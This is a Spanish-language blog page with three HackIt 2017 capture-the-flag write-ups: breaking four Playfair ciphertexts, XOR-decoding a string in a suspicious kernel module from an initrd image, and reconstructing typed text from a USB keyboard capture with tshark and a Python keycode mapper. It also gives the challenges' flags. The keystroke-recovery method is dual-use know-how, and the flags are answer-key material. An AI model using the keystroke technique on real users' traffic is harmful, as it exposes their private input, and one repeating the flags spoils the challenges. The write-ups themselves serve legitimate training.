HackIt 2017 – Crypto 100 – 4_messages

Y aquí esta el último writeup de las pruebas que conseguí realizar durante el HackIt2017, esta vez no será forense sino cryptografía, veamos el enunciado:

_messages
crypt100

Description: We’ve captured 4 enemies’ cryptograms. What we know: 1) Enemies used Lord Playfair cryptosystem. 2) All the messages that is hidden behind the cipher texts are similar. 3) Each message has got the similar beginning – it is ‘Good evening hackit two thousand seventeen’ 4) Enemies use pretty usual method of key generation. One of the samples you can find here – https://github.com/AsenOsen/playfair ; Help us to restore the original message.

Attachment: (none)

Webpage: https://mega.nz/#!8CoSVSJT!0gkKT_wmG_h1n_YgCtivJCfC2VHN8Y4TtyNsbOJuU8Y

Hint: Flag lower case (h4ck1t{flaginlowercaseformat}).

Nos descargamos el archivo y nos encontramos un txt con el siguiente contenido:

CAPTURED_CIPHER =  LGMFTYNSKOPTCKIHDVBVGFIGPUKLERTYNSBFNSKOGTKUFHSKDQMIPSBYBYUZMBOAENFGEFRKUCDFIGZAFHPELFBKQGKWBICUDXVSFGSMMFUZDBHFKUBKYKKQKTKIFQEVUZLGDVFGACYTHQKFKDUOQHSTQCMWGBKTFHNDYBDFDVGTDSFKYSMIGOZHOKNSKDOGAQFBRKPFGTNYAHDPNYFGSDGTDNHBUCYCNKUEMUBKKAKHVTDSBFVDGTNSBHENOFSUEPCZNBDVBFSUGTNSIMLDKOFBKTGDGLFBKTQCMEZNQZAOMLFBGTFTQBMV
CAPTURED_CIPHER =  HNQBRESPSMHKBDFEUZUXMWOWSAGUARRESPXISPSMWFSVIYMADVPBZSVXVXNWQLFRPCWMCREAISCVOWTVIYIUWHSCQKBAGYSIDECMWMSQQBNWYWYISVSCIAGAKVKPAWIFNWHNUZWMGBERCNSRKCMHNCXCSDKZFZKVIYPIXVCVUZWFRIRSAUPBPOESMSSPKCOPZHIXEAWUWFRVFVZIRVWMIRWFIPYUISEPICIGQVSCBKYEOKRIXIZUWFSPUYPCMYIVUIETKRUZXIIVWFSPBPOYSMIXKVTINHIXKVSDQABMWXRFFHIXWFIKGDKU
CAPTURED_CIPHER =  EMIEDZDGLDEFNBLKSYQYMUOUPTNGNPDZDGUGDGLDUFLPPMGXCBLHPHAZAZUZINMKOAUMADXLIPHAOUVKPMTUKHDNSIGWBGPIFBVTUMCDIEUZFQMPLPDNTXNQOHBLHQYGUZEMSYUMBEZDDQODHNMHQDUDBDSNMSOHPMOGZAHASYUFDHDOXCLHLEDPDLDGHNELXKGUXLPUUFNUROPFNUUMHDUFGOGQIPWLGZTCIHDNFRRLURDHUGYSUFDGQGOARMCPUTLVONSYUGCPUFDGHLKFLDGUOHTYMEGUOHBDGAZMQZKMMNGUUFGHKNNY
CAPTURED_CIPHER =  FAAEAZBSHQHIORFKPZYZECFBZLBMEQAZBSEKBSHQYKKQPKWBAYFOVCBZBZFCQOQFSKCEEOLTPGDOFBXHPKZEADOBCQBRGOGPRYPTCEYMAEFCEYKPKQOBNTEMKBTFOWCPFCFAPZCEGBZADRKDTOFLRDTDAGQUSCKBPKSAZBDOPZYKATDKLQFOBLXGQHBSTOLBUNKELTZCYKKZIKCYKZCETAYKASERPGZIBTLKACOBYFPFYIATEKZPYKBSRESKGKTMEZQPSOPZEKTMYKBSOFNAHQKEKBSRAFKEKBAGQBCBVXFQMFKEYKOKMOIV

Nos dan una pista sobre que puede ser playfair pero por no fiarme me fui aquí para verificarlo y copie el primer mensaje, este es el resultado:

Efectivamente parece ser playfair, como no es un cifrado al que este muy acostumbrado (suele aparecer vigenere con el que no me llevo muy bien) me toco hacer algo de investigación y me encontré con esta tool que realiza un análisis de frecuencia de las letras en utilizando un archivo distat.log que en este caso contiene información sobre el idioma inglés (tengo que mirar como generarlo para el español).

Compilamos la aplicación haciendo un simple make y ya la tenemos lista. Cree 4 archivos cada uno conteniendo solo la parte cifrada para poder pasarselos a la aplicación.

Después de ver el output de la aplicación hice el siguiente script para ir obteniendo las keys, el tiempo de ejecución es bastante largo a veces ya que no siempre realiza las mismas comprobaciones:

while true; do ./playn m1 | grep -i -A 11 "GO OD EV EN IN GH AC KI TX TW OT HO US AN DS EV"; if [[ $? == 0 ]]; then break; fi ; done

Como veréis el texto no es exactamente igual ya que después de lanzarlo varias veces a mano me fije en que se añadia una X de vez en cuando, este fue el resultado:

Como podemos ver tenemos un texto que se puede leer, pero parece que la clave no sigue el formato que nos han dado en el enunciado, este formato consiste en que la clave se genera en base a una palabra, por ejemplo “COSA”, y el resto del abecedario se incluye en orden así que tendriamos: “COSABDEFGHIJKLMNPQRTUVWXYZ”. Lo lanzamos un par de veces más a ver si conseguimos algo más concreto y parece que la primera clave palabra que debemos encontrar es HACKIT, modificamos el script para que busque tanto por el texto conocido como por esta palabra para ver si efectivamente hay resultados:

while true; do ./playn m1 | grep -i -A 11 "GO OD EV EN IN GH AC KI TX TW OT HO US AN DS EV" | grep -i hackit; if [[ $? == 0 ]]; then break; fi ; done

Y obtenemos los siguiente:

Esto ya sigue el formato que queremos, pero no exactamente así que lo reordenamos:

HACKITBDEFGLMNOPQRSUVWXYZ

El texto cifrado decía lo siguiente:

GOOD EVENING HACKIT TWO THOUSAND SEVENTEEN IN THIS TINY BROCURE WE WOULD LIKE
TO DESCRIBE HOW IT IS TO BE A PLAY FAIR
CRYPTOR NO DOUBT IT IS EASY AS HECK BUT YOU GOT TO HAVE A PIECE OF PAPER ALL THE
TIME WE BET THERE IS NO CONVINIENCE NOW LETS CUT THE SHIT RESTORE THE MATRIX KEYS
FOR EACH CIPHER TEXT THEN TAKE FIRSTS IX LETTERS THEN COMBINE THEM TOGETHER AND YOU WILL GET THE FLAG

Así que nos quedamos con la primera parte y obtenemos la primera palabra, HACKIT.

Ahora que ya sabemos como funciona el proceso editamos un poco el script para que solo nos devuelva la key en los mensajes que coincidan y ver si encontramos la siguiente palabra:

for i in {1..10}; do while true; do ./playn m2 | grep -i -A 11 "GO OD EV EN IN GH AC KI TX TW OT HO US AN DS EV" | grep keysquare; if [[ $? == 0 ]]; then break; fi ; done; done

Esto nos devuelve el siguiente resultado:

En este caso vemos que el segundo grupo parece que pone “VERYIS” y en el primero podemos ver también que termina en “ISVER” y comienza con “Y”,  como la forma correcta sería “ISVERY” vamos a comprobar si es una solución valida:

while true; do ./playn m2 | grep -i -A 11 "GO OD EV EN IN GH AC KI TX TW OT HO US AN DS EV" | grep keysquare | grep "ISVERY"; if [[ $? == 0 ]]; then break; fi ; done

Y efectivamente obtenemos:

Reordenamos nuevamente y obtenemos ISVERYABCDFGHKLMNOPQTUWXZ, así que nuestra segunda palabra es “ISVERY”.

Para las dos últimas palabras realizamos el mismo proceso que para la segunda (no quiero alargar esto demasiado) y obtenemos las palabras “DANGER” y “CRYPTO” con lo cual, y según el hint, la flag final es:

h4ck1t{isverydangercrypto}

Espero os haya gustado a pesar de no haber sido mucho más que bruteforcear las claves e ir descubriendo las distintas keys.

Como siempre, un saludo y gracias por vuestra visita!

Publicado en cripto, ctf, hackit, writeups | Deja un comentario

HackIt 2017 – Forensic 200 – Angry printer

Esta fue la última prueba de forense que se nos propuso durante el Hackit y que resolví junto a mi compañero de equipo @angu, las screenshoots finales son cortesía suya 🙂

Este era el enunciado:

Angry printer
foren200

Description: Our printer has just stopped working. Maybe there are some driver issues or so. Could you help us to fix them?

Attachment: (none)

Webpage: https://mega.nz/#!VUJBAKzI!ljRk-LOHM7W1JDPBlghOuKvAsCabgqeIJ0WMRaZaGLo

Hint: One of the drivers was replaced with a strange module, is it a keylogger? Hide

Nos descargamos el archivo initrd.img-4.9.1.0-1-amd64  y vemos que es un archivo comprimido, al descomprimir nos encontramos con un backup de un initrd, creamos una carpeta donde montarlo, entramos en ella y lo montamos con el siguiente comando:

cpio -id < ../initrd.img-4.9_1.0-1-amd64

Esto nos montara el filesystem en la carpeta en la que nos encontramos, como hay bastante archivos decidí probar suerte con un grep y buscar por hackit a ver si había suerte y efectivamente:

Solamente hay un resultado en uno de los módulos del kernel, la pista no hace sino darle más peso a este hallazgo. Como en esos momentos no tenía manera de hacerle el reversing al módulo se lo pase a mi compañero @angu y este lo cargo en IDA, luego de buscar encontró lo siguiente:

Esta función parece realizar un XOR sobre la variable PATTERN utilizando como key 0x41, este es el contenido de la variable PATTERN:

Con este sencillo script de python, también cortesía de @angu, hacemos el XOR (ya que XOR de un XOR con la misma clave nos devuelve la cadena original) a la vez que convertimos los valores hexadecimales:

import binascii
pattern = binascii.unhexlify("2975222A70353A281E202C1E2E2F1E272833243C")
print ''.join(chr(ord(i)^0x41) for i in pattern)

Lo ejecutamos y obtenemos la flag: h4ck1t{i_am_on_fire}

Espero os haya gustado, como siempre, un saludo y gracias por vuestra visita!

Publicado en ctf, forense, hackit, writeups | Deja un comentario

HackIt 2017 – Forensic 100 – USB ducker

Ya sé que voy con algo de retraso en los writeups con respecto a lo que os tengo acostumbrados pero más vale tarde que nunca ¿no? Hoy os traigo un reto que ya había visto en otros CTF’s pero en este fue la primera vez que realmente me paré a hacerlo como dios manda y a lo largo de la semana he mejorado el script que use y que luego os compartiré. Comencemos con el enunciado:

USB ducker
foren100

Description: This file was captured from one of the computers at the Internet cafe. We think that the hacker was using this computer at that time. Try to get his secret documents. ( flag format is flag{…} )

Attachment: (none)

Webpage: https://mega.nz/#!NVJ1kZCR!mDxd7V0rHtMStePa-tUEHPW-SyAxQ6f1zRDCTxX8y3M

Hint: (none)

Nos bajamos el task.pcap y lo abrimos con Wireshark:

Aunque el título ya nos daba una pista está claro que estamos ante una captura de tráfico USB y no la típica de red que nos esperaríamos de un pcap. Utilizamos el filtro “usb.bDescriptorType” para quedarnos con los paquetes que nos darán información sobre los dispositivos USB:

Vemos que hay al menos dos dispositivos con el id 1.2.0 y 1.3.0. Comprobando el contenido de estos paquetes nos encontramos con una información muy valiosa:

Como veis el dispositivo 1.3.0 parece ser un teclado de apple, si buscáis por el id del vendor (1452 o 05ac)  y del producto (0221) veréis que concretamente se trata de un teclado Alumminium en su versión ISO.

Vamos a filtrar los paquetes de ese teclado en concreto:

Como podemos ver a continuación de los paquetes de información del dispositivo nos encontramos con una gran cantidad de interrupts que se corresponden con pulsaciones de teclas y todas tienen una longitud de 35 bytes. Si miramos más a fondo veremos que existe un campo llamado “Leftover Capture Data” que Wireshark no es capaz de interpretar, esta es la información que contiene las teclas pulsadas y que vamos a extraer para poder trabajar con ellas. Para hacerlo más fácil utilice tshark en lugar de Wireshark para generar un archivo con esta información en plano utilizando el siguiente comando:

tshark -r task.pcap -Y "usb.bus_id == 1 && usb.device_address == 3 && usb.transfer_type == 0x01" -T fields -e usb.capdata > captured.txt

Como veis hemos utilizado la dirección del teclado y especificado que solo nos devuelva los interrupts. Obtenemos el siguiente archivo:

00:00:1a:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:28:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:28:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:09:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:28:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:05:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:28:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:20:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:34:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:20:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2f:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1a:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:21:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:37:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:05:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:04:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0a:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:37:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:09:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2f:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:11:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:21:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0d:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:18:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:30:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:33:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:20:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:18:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:22:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:32:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:23:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:36:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:34:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:13:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:05:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:24:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:22:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:24:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:07:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0d:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:13:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:17:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:04:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0e:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:26:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:15:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:10:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:30:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:07:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:37:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:25:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2d:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2f:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0d:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:22:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:18:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:16:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:26:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:25:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:11:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:34:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:33:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:26:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0b:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:30:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:34:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:33:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2e:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:13:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:09:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:21:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:1e:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:30:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2d:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0e:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:16:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:24:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:16:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1f:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:22:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:14:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:21:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:37:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:1e:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:20:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:36:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:16:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:51:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:1d:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:20:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:30:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:2d:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:52:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0c:00:00:00:00:00
00:00:00:00:00:00:00:00

Analizando un poco más esta captura podemos ver que la tecla pulsada esta situada en el tercer valor hexadecimal pero que también existe el valor 02 en algunas lineas, esto parece corresponderse con la tecla shift/mayúsculas, basándonos en esto generamos el siguiente script (después de muchas pruebas y errores):

mappings = {
        "04":["a","A"],
        "05":["b","B"],
        "06":["c","C"],
        "07":["d","D"],
        "08":["e","E"],
        "09":["f","F"],
        "0A":["g","G"],
        "0B":["h","H"],
        "0C":["i","I"],
        "0D":["j","J"],
        "0E":["k","K"],
        "0F":["l","L"],
        "10":["m","M"],
        "11":["n","N"],
        "12":["o","O"],
        "13":["p","P"],
        "14":["q","Q"],
        "15":["r","R"],
        "16":["s","S"],
        "17":["t","T"],
        "18":["u","U"],
        "19":["v","V"],
        "1A":["w","W"],
        "1B":["x","X"],
        "1C":["y","Y"],
        "1D":["z","Z"],
        "1E":["1","!"],
        "1F":["2","@"],
        "20":["3","#"],
        "21":["4","$"],
        "22":["5","%"],
        "23":["6","^"],
        "24":["7","&"],
        "25":["8","*"],
        "26":["9","("],
        "27":["0",")"],
        "28":"\n",
        "29":"ESC",
        "2A":"BKSPC",
        "2B":"  ",
        "2C":" ",
        "2D":["-","_"],
        "2E":["=","+"],
        "2F":["[","{"],
        "30":["]","}"],
        "31":["\\","|"],
        "32":"(INT 2)",
        "33":[";",":"],
        "34":[",",'"'],
        "35":["`","~"],
        "36":[",","<"],
        "37":[".",">"],
        "38":["/","?"],
        "39":"CAPSLOCK",
        "3A":"F1",
        "3B":"F2",
        "3C":"F3",
        "3D":"F4",
        "3E":"F5",
        "3F":"F6",
        "40":"F7",
        "41":"F8",
        "42":"F9",
        "43":"F10",
        "44":"F11",
        "45":"F12",
        "46":"PRTSCR",
        "47":"SCRLOCK",
        "48":"PAUSE",
        "49":"INS",
        "4A":"HOME",
        "4B":"PGUP",
        "4C":"DEL",
        "4D":"END",
        "4E":"PGDOWN",
        "4F":"RIGHT",
        "50":"LEFT",
        "51":"DOWN",
        "52":"UP",
        "53":"NUMLOCK"
        }

nums = []
keys = open('captured.txt')
for line in keys:
        nums.append(line.strip().upper())
keys.close()
output = list()
for n in nums:
    push=n.split(":")
    if push[2] == "00":
        continue
    else:
        key=push[2]
    if push[0] != "02":
        islist=mappings[key]
        if type(islist) is list:
            output.append(mappings[key][0])
        else:
            output.append(mappings[key])
    else:
        output.append(mappings[key][1])
final=dict()
empty_line=list()
final[0]=[]
counter=0
for i in output:
    if i == "\n":
        counter += 1
        final[counter]=["\n"]
    elif i == "DOWN":
        if counter < len(final):
            counter += 1
    elif i== "UP":
        if counter != 0:
            counter -= 1
    else:
        final[counter].append(i)

output=""
for x in final.keys():
    for y in final[x]:
        output+=y
print output

Y digo después de muchas pruebas y errores porque habitualmente cuando tengo visto este tipo de pruebas se limitan como mucho a meter letras, números y símbolos pero en este caso nos hemos encontrado con que también se utilizaban las flechas …. En este script no se plantean las flechas de derecha e izquierda pero por el resto debería de reconocer prácticamente todo el teclado con un layout USA.

Ejecutamos el script y obtenemos el siguiente resultado donde se puede ver la flag:

w{w$ju},,pt]=j%;9+ps&#,i
k#>bn$:6pjim0{u,h;fks!s-
flag{k3yb0ard_sn4ke_2.0}
b[[e[fuI7d[=>*(0],$1c$ce
3,ci.[%=%&k(lc*2y4!}%qz3

Espero os haya gustado este nuevo writeup, aun tengo un par más de ellos pendientes y los iré publicando poco a poco ya que estoy trabajando en algunas otras cosas que creo que os parecerán interesantes. ¡Estaros atentos!

Como siempre, gracias por vuestra visita, saludos!

Publicado en ctf, forense, hackit, writeups | Deja un comentario

HackIt 2017 – Forensic 150 – Cypherpunk’s nightmare

